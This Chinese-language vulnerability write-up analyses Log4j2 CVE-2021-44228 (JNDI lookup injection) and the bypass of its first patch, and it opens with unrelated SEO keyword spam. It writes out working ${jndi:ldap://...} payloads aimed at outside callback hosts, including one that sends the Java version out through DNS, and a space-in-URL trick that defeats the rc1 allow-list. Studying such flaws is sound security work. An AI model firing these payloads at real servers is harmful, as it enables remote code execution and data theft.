哪些网站用vue.js做的,湛江seo公司,海宁市住房与建设规划局网站,学生管理系统 网站开发log4j漏洞学习 总结基础知识属性占位符之Interpolator#xff08;插值器#xff09;模式布局日志级别 Jndi RCE CVE-2021-44228环境搭建漏洞复现代码分析日志记录/触发点消息格式化 Lookup 处理JNDI 查询触发条件敏感数据带外漏洞修复MessagePatternConverter类JndiManager#l… log4j漏洞学习 总结基础知识属性占位符之Interpolator插值器模式布局日志级别 Jndi RCE CVE-2021-44228环境搭建漏洞复现代码分析日志记录/触发点消息格式化 Lookup 处理JNDI 查询触发条件敏感数据带外漏洞修复MessagePatternConverter类JndiManager#lookuprce1绕过 总结
其实学完之后回过头造成漏洞的原理就是Log4j引入了lookup接口原本的目的是来支持在日志输出时获取任意位置的Java对象。通过使用lookup接口Log4j可以通过适当的配置和调用动态地从程序运行环境中获取所需的对象然后将其作为日志消息的一部分输出到日志目标中。 而恶意利用离不开我们的第一就是我们log4j输出内容的时候会去格式化这里就会涉及到一个convert和format的过程就会调用我们的MessagePatternConverter类它会去识别我们的{jndi:…}这部分然后交给lookup处理而这部分主要是由我们的JndiManager负责的它使用了InitialContext来构建了上下文导致了jndi的注入
基础知识
首先搭建一个环境
我们使用maven来引入相关组件的2.14.0版本在工程的pom.xml下添加如下配置他会导入两个jar包dependenciesdependencygroupIdorg.apache.logging.log4j/groupIdartifactIdlog4j-core/artifactIdversion2.14.0/version/dependency
/dependencies在工程目录resources下创建log4j2.xml配置文件
?xml version1.0 encodingUTF-8?configuration statuserrorappenders
!-- 配置Appenders输出源为Console和输出语句SYSTEM_OUT--Console nameConsole targetSYSTEM_OUT
!-- 配置Console的模式布局--PatternLayout pattern%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n//Console/appendersloggersroot levelerrorappender-ref refConsole//root/loggers
/configuration测试代码 og4j2中包含两个关键组件LogManager和LoggerContext。LogManager是Log4J2启动的入口可以初始化对应的LoggerContext。LoggerContext会对配置文件进行解析等其它操作。
在不使用slf4j的情况下常见的Log4J用法是从LogManager中获取Logger接口的一个实例并调用该接口上的方法。运行下列代码查看打印结果 import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;public class log4j2Rce2 {private static final Logger logger LogManager.getLogger(log4j2Rce2.class);public static void main(String[] args) {String a${java:os};logger.error(a);}
}属性占位符之Interpolator插值器
这是什么东西呢其实理解为我们linux里面的环境变量就好了log4j2中环境变量键值对被封装为了StrLookup对象。这些变量的值可以通过属性占位符来引用格式为:${prefix:key}。在Interpolator插值器内部以MapString,StrLookup的方式则封装了多个StrLookup对象 这些实现类存在于org.apache.logging.log4j.core.lookup包下当参数占位符 p r e f i x : k e y 带有 p r e f i x 前缀时 I n t e r p o l a t o r 会从指定 p r e f i x 对应的 S t r L o o k u p 实例中进行 k e y 查询。当参数占位符 {prefix:key}带有prefix前缀时Interpolator会从指定prefix对应的StrLookup实例中进行key查询。当参数占位符 prefix:key带有prefix前缀时Interpolator会从指定prefix对应的StrLookup实例中进行key查询。当参数占位符{key}没有prefix时Interpolator则会从默认查找器中进行查询。如使用${jndi:key}时将会调用JndiLookup的lookup方法 使用jndi(javax.naming)获取value
模式布局
PatternLayout模式布局会通过PatternProcessor模式解析器对模式字符串进行解析得到一个List转换器列表和List格式信息列表。在配置文件PatternLayout标签的pattern属性中我们可以看到类似%d的写法d代表一个转换器名称log4j2会通过PluginManager收集所有类别为Converter的插件,同时分析插件类上的ConverterKeys注解,获取转换器名称并建立名称到插件实例的映射关系当PatternParser识别到转换器名称的时候会查找映射。
而我们的漏洞就是出现在转换器名称msg对应的插件实例MessagePatternConverter对于日志中的消息内容处理中MessagePatternConverter会将日志中的消息内容为${prefix:key}格式的字符串进行解析转换读取环境变量。此时为jndi的方式的话就存在漏洞。
日志级别 级别由高到低共分为6个fatal(致命的), error, warn, info, debug, trace(堆栈)。
log4j2还定义了一个内置的标准级别intLevel由数值表示级别越高数值越小。
当日志级别调用大于等于系统设置的intLevel的时候log4j2才会启用日志打印。在存在配置文件的时候 会读取配置文件中值设置intLevel。当然我们也可以通过Configurator.setLevel(“当前类名”, Level.INFO);来手动设置。如果没有配置文件也没有指定则会默认使用Error级别也就是200
Jndi RCE CVE-2021-44228
环境搭建
为了便于分析我们就使用上面的那个环境但是需要修改代码
import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.core.config.Configurator;public class Log4jTEst {public static void main(String[] args) {Logger logger LogManager.getLogger(Log4jTEst.class);logger.error(${jndi:rmi://64c8bb6d.dnslog.biz.});}
}漏洞复现
按道理来说复现是需要我们搭建一个rmi的但是我知识分析这个逻辑就简单的用dns来证明有漏洞 代码分析
先给出调用栈能够对过程有更好的理解
lookup:209, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1116, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1038, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:345, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:543, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:502, LoggerConfig (org.apache.logging.log4j.core.config)
log:485, LoggerConfig (org.apache.logging.log4j.core.config)
log:460, LoggerConfig (org.apache.logging.log4j.core.config)
log:82, AwaitCompletionReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2198, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2152, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2135, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2011, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:11, Log4jTEstAbstractLogger.error: 在你的代码中这个方法被调用来记录一个错误级别的日志。 AbstractLogger.logIfEnabled: 这个方法检查是否启用了对应的日志级别如果启用了则继续进行日志记录。 AbstractLogger.logMessage: 这个方法会调用MessageFactory来创建一个日志消息LogEvent。 Logger.log 和 LoggerConfig.log: 这些方法处理日志事件包括日志级别的检查以及将日志事件传递给所有的Appender来进行处理。 AppenderControl.callAppender: 这个方法将日志事件发送给相应的Appender。在这个例子中可能是一个ConsoleAppender控制台输出或者是一个FileAppender文件输出。 AbstractOutputStreamAppender.append: 这个方法将日志事件写入到指定的输出流中比如控制台或者文件。 PatternLayout.encode: 这个方法将日志事件按照指定的模式Pattern转换成一个字符串。 MessagePatternConverter.format: 这个方法将日志事件中的数据按照特定的模式进行格式化比如日期日志级别日志信息等。 StrSubstitutor.replace: 这个方法处理字符串中的变量替换。在你的例子中它将${java:os}替换成对应的系统属性。 StrSubstitutor.substitute: 这个方法负责实际的字符串替换工作。 Interpolator.lookup: 这个方法用来查找和替换Log4j配置文件和日志事件中的变量。
当然我们重点分析的只有
lookup:209, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1116, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1038, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:345, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender 日志记录/触发点
通常我们使用 LogManager.getLogger() 方法来获取一个 Logger 对象
在这些所有的方法里都会先使用名为 org.apache.logging.log4j.spi.AbstractLogger#logIfEnabled 的若干个重载方法来根据当前的配置的记录日志的等级来判断是否需要输出 console 和记录日志文件。其中 Log4j 包括的日志等级层级分别为ALL DEBUG INFO WARN ERROR FATAL OFF。
在默认情况下会输出 WARN/ERROR/FATAL 等级的日志。
消息格式化
这里也是我们的重点我们从 PatternLayout.encode开始分析这个方法将日志事件按照指定的模式Pattern转换成一个字符串。
toSerializable:345, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout PatternLayout.encode: 这个方法将转换为文本的日志事件编码为字节数组然后写入到输出流中。这个方法可能会进行一些额外的处理比如添加换行符或者其他的分隔符。
PatternLayout.toText: 这个方法将序列化的日志事件转换为纯文本。在大多数情况下由于日志事件已经被转换为字符串所以这个方法可能只是简单地返回传入的字符串。
PatternLayout$PatternSerializer.toSerializable: 这个方法将日志事件转换为一个可以序列化的对象通常是一个字符串。这个方法使用预先定义的模式Pattern来格式化日志事件的各个部分比如日期、级别、消息内容等。
public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {final int len formatters.length;for (int i 0; i len; i) {formatters[i].format(event, buffer);}if (replace ! null) { // creates temporary objectsString str buffer.toString();str replace.format(str);buffer.setLength(0);buffer.append(str);}return buffer;}它会调用 formatters[i].format(event, buffer);方法而我们的 formatters之一就有我们的org.apache.logging.log4j.core.pattern.MessagePatternConverter
跟进它的format方法
会对我们特殊字符进行一个判断截取就是获取我们的value部分 此时的workingBuilder是一个StringBuilder对象该对象存放的字符串如下所示
09:54:48.329 [main] ERROR com.Test.log4j.Log4jTEst - ${jndi:ldap://2lnhn2.ceye.io}本来这段字符串的长度是82但是却给它改成了53为什么呢因为第五十三的位置就是 符号也就是说 符号也就是说 符号也就是说{jndi:ldap://2lnhn2.ceye.io}这段不要了从第53位开始append。而append的内容是什么呢可以看到传入的参数是config.getStrSubstitutor().replace(event, value)的执行结果其中的value就是${jndi:ldap://2lnhn2.ceye.io}这段字符串
resolveVariable:1116, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1038, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)StrSubstitutor.replace: 这个方法处理字符串中的变量替换。在你的例子中它将${java:os}替换成对应的系统属性。 StrSubstitutor.substitute: 这个方法负责实际的字符串替换工作。 Interpolator.lookup: 这个方法用来查找和替换Log4j配置文件和日志事件中的变量。
Lookup 处理
Log4j2 使用 org.apache.logging.log4j.core.lookup.Interpolator 类来代理所有的 StrLookup 实现类。也就是说在实际使用 Lookup 功能时由 Interpolator 这个类来处理和分发。
这个类在初始化时创建了一个 strLookupMap 将一些 lookup 功能关键字和处理类进行了映射存放在这个 Map 中。处理和分发的关键逻辑在于其 lookup 方法通过 : 作为分隔符来分隔 Lookup 关键字及参数从strLookupMap 中根据关键字作为 key 匹配到对应的处理类并调用其 lookup 方法。
本次漏洞的触发方式是使用 jndi: 关键字来触发 JNDI 注入漏洞对于 jndi
JNDI 查询
Log4j2 使用 org.apache.logging.log4j.core.net.JndiManager 来支持 JDNI 相关操作。 JndiManager 使用私有内部类 JndiManagerFactory 来创建 JndiManager 实例如下图
可以看到是创建了一个新的 InitialContext 实例并作为参数传递用来创建 JndiManager这个 Context 被保存在成员变量 context 中
我们要触发jndi就是要触发 InitialContext的lookup方法
JndiManager#lookup 方法则调用 this.context.lookup() 实现 JNDI 查询操作。 触发条件
通过对上面的代码分析触发条件我们要看得到信息那就得把我们的日志打印出来
这里就要提到Log4j2的日志优先级问题每个优先级对应一个数值intLevel记录在StandardLevel这个枚举类型中数值越小优先级越高。 当我们执行Logger.error的时候会调用Logger.logIfEnabled方法进行一个判断而判断的依据就是这个日志优先级的数值大小 跟进isEnabled方法发现只有当前日志优先级数值小于Log4j2的200的时候程序才会继续往下走如下所示 而这里日志优先级数值小于等于200的就只有”error”、”fatal”这两个所以logger.fatal()方法也可触发漏洞。但是”warn”、”info”大于200的就触发不了了
敏感数据带外
有时候我们并不能进行反弹shell哪些操作我们可以尝试外带敏感的信息比如java版本
${jndi:ldap://${java:version}.2lnhn2.ceye.io}利用dns的解析去外带因为它会先把内层的解析再去解析外层
漏洞修复
MessagePatternConverter类
首先在这次补丁中MessagePatternConverter类进行了大改可以看下修改前后MessagePatternConverter这个类的结构对比
修改前 修改后 在 MessagePatternConverter 类中创建了内部类 SimpleMessagePatternConverter、FormattedMessagePatternConverter、LookupMessagePatternConverter、RenderingPatternConverter将一些扩展的功能进行模块化的处理而只有在开启 lookup 功能时才会使用 LookupMessagePatternConverter 来进行 Lookup 和替换
之前的MessagePatternConverter变成了现在的MessagePatternConverter$SimpleMessagePatternConverter那么这个SimpleMessagePatternConverter的方法究竟是怎么实现的
可以看到并没有对传入的数据的“${”符号进行判断并特殊处理所以利用这个合理的规避了我们的漏洞
JndiManager#lookup
第二个关键位置是 JndiManager#lookup 方法中添加了校验使用了 JndiManagerFactory 来创建 JndiManager 实例不再使用 InitialContext
public synchronized T T lookup(final String name) throws NamingException {try {URI uri new URI(name);if (uri.getScheme() ! null) {if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {LOGGER.warn(Log4j JNDI does not allow protocol {}, uri.getScheme());return null;}if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {if (!allowedHosts.contains(uri.getHost())) {LOGGER.warn(Attempt to access ldap server not in allowed list);return null;}可以看到如果你是ldap开头的话我们就需要 就回去判断请求的host也就是请求的地址白名单内容如下所示 可以看到白名单里要么是本机地址要么是内网地址fe80开头的ipv6地址也是内网地址看似想要绕过有些困难因为都是内网地址没法请求放在公网的ldap服务不过不用着急继续往下看。
使用marshalsec开启ldap服务后先将payload修改成下面这样
${jndi:ldap://127.0.0.1:8088/ExportObject} 如此一来就可以绕过第一道校验过了这个host校验后还有一个校验在JndiManager.lookup方法中会将请求ldap服务后 ldap返回的信息以map的形式存储如下所示
这里要求javaFactory为空否则就会返回”Referenceable class is not allowed for xxxxxx”的错误
但是这个没有return程序会继续执行 也就是说只要让lookup方法在执行的时候抛个异常就可以了将payload修改成以下的形式
${jndi:ldap://xxx.xxx.xxx.xxx:xxxx/ ExportObject}在url中“/”后加上一个空格就会导致lookup方法中一开始实例化URI对象的时候报错这样不仅可以绕过第二道校验连第一个针对host的校验也可以绕过从而再次造成RCE。在rc2中catch错误之后return null也就走不到lookup方法里了。
rce1绕过
那它是不是废弃了我们这个lookup功能呢
并没有 开发者将其转移到了LookupMessagePatternConverter.format()方法中,如下所示 所以如果我们如果convert的时候利用LookupMessagePatternConverter从而能让程序在后续的执行过程中调用它的format方法
但是这个绕过吧。。。。也不算绕过 就是要修改配置文件修改成如下所示在“%msg”的后面添加一个“{lookups}”我相信一般情况下应该没有那个开发者会这么改配置文件玩除非他真的需要log4j2提供的jndi lookup功能
参考su18师傅